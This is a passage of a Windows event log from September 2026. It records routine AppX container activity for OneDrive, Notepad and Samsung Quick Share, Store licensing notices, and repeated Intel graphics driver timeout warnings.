Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:00.852\t211\tAdded process 8468 to Desktop AppX container 245cde8f-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:00.864\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:01:00.890\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:01:00.892\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:01:00.897\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:01:05.996\t217\tDestroyed Desktop AppX container {245CDE8F-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:12.701\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:12.704\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:13.027\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:13.472\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:13.694\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:13.734\t217\tDestroyed Desktop AppX container {245CDE80-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:13.740\t217\tDestroyed Desktop AppX container {245CDE85-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:13.741\t8001\t\"Invoking license manager because license/lease polling time up: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:01:13.742\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:01:14.251\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:14.585\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:15.141\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:15.363\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:16.036\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:16.111\t8001\t\"Skipping license manager: PFN Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:01:16.132\t210\tCreated Desktop AppX container {245CDE94-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:16.132\t211\tAdded process 9136 to Desktop AppX container 245cde94-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:16.188\t8001\t\"Skipping license manager: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:01:16.213\t210\tCreated Desktop AppX container {245CDE99-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:16.213\t211\tAdded process 16140 to Desktop AppX container 245cde99-a8c9-11f1-b7ff-289200f24a99 for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:16.259\t210\tCreated Desktop AppX container {245CDE9E-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:16.259\t211\tAdded process 6036 to Desktop AppX container 245cde9e-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:16.482\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:16.705\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:16.926\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:17.371\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:17.701\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:17.704\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"explorer\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:21.375\t217\tDestroyed Desktop AppX container {245CDE9E-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:21.585\t210\tCreated Desktop AppX container {245CDEA3-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:21.585\t211\tAdded process 16184 to Desktop AppX container 245cdea3-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:30.684\t300\tCompositor Type: 1WINWORDP1: %3P2: %4P3: %5P4: %6\tInformation\tOAlerts\tMicrosoft Office 16 Alerts\n05.09.2026 09:01:31.355\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:31.360\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:31.794\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:32.349\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:33.017\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:33.080\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:01:33.105\t28032\tAppResolver has parsed the visual elements manifest for a tile.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:01:33.107\t28117\tShortcut for application WINWORD.EXE - Shortcut with ID Microsoft.Office.WINWORD.EXE.15 and flags 0x10 is updated in app resolver cache.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:01:33.112\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:01:33.115\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:01:33.121\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:01:33.910\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:34.242\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:35.020\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:35.244\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:35.467\t217\tDestroyed Desktop AppX container {245CDE94-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:35.624\t217\tDestroyed Desktop AppX container {245CDEA3-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:35.630\t8001\t\"Invoking license manager because license/lease polling time up: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:01:35.631\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:01:35.631\t217\tDestroyed Desktop AppX container {245CDE99-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:35.803\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:36.470\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:36.693\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:36.917\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:37.923\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:38.259\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:38.707\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:38.929\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:39.150\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:40.484\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:41.039\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:41.485\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:42.380\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:42.603\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:42.826\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:43.044\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:43.376\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:43.600\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:43.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:44.046\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:45.043\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:45.254\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:45.468\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:45.672\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:45.884\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:47.195\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:47.416\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:47.633\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:47.848\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:47.854\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:47.860\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:04.709\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:04.714\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:04.924\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:06.367\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:07.157\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:07.371\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:07.584\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:08.022\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:08.335\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:08.661\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:08.877\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:09.094\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:09.310\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:09.531\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:10.305\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:10.649\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:11.302\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:11.740\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:11.956\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:12.180\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 